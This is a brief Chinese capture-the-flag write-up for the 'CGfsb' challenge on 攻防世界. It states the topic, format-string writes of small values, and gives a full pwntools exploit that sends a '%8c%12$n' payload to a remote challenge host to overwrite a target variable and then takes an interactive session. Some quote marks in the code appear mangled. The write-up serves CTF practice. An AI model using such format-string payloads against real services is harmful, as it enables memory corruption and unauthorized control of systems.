攻防世界-CGfsb-Writeup

原创

SkYe231_ 于 2020-05-15 18:34:30 发布

CGfsb

[collapse title="展开查看详情" status="false"]

考点：写入小数字格式化字符串

完整 exp ：

```
from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",59528)
#p = process("./CGfsb")

pwnme = 0x0804A068
payload = "%8c%12$n" + p32(pwnme)


p.recvuntil("name")
p.sendline(';a';*0x8)
p.recvuntil("please")
p.sendline(payload)

p.interactive()
```

[/collapse]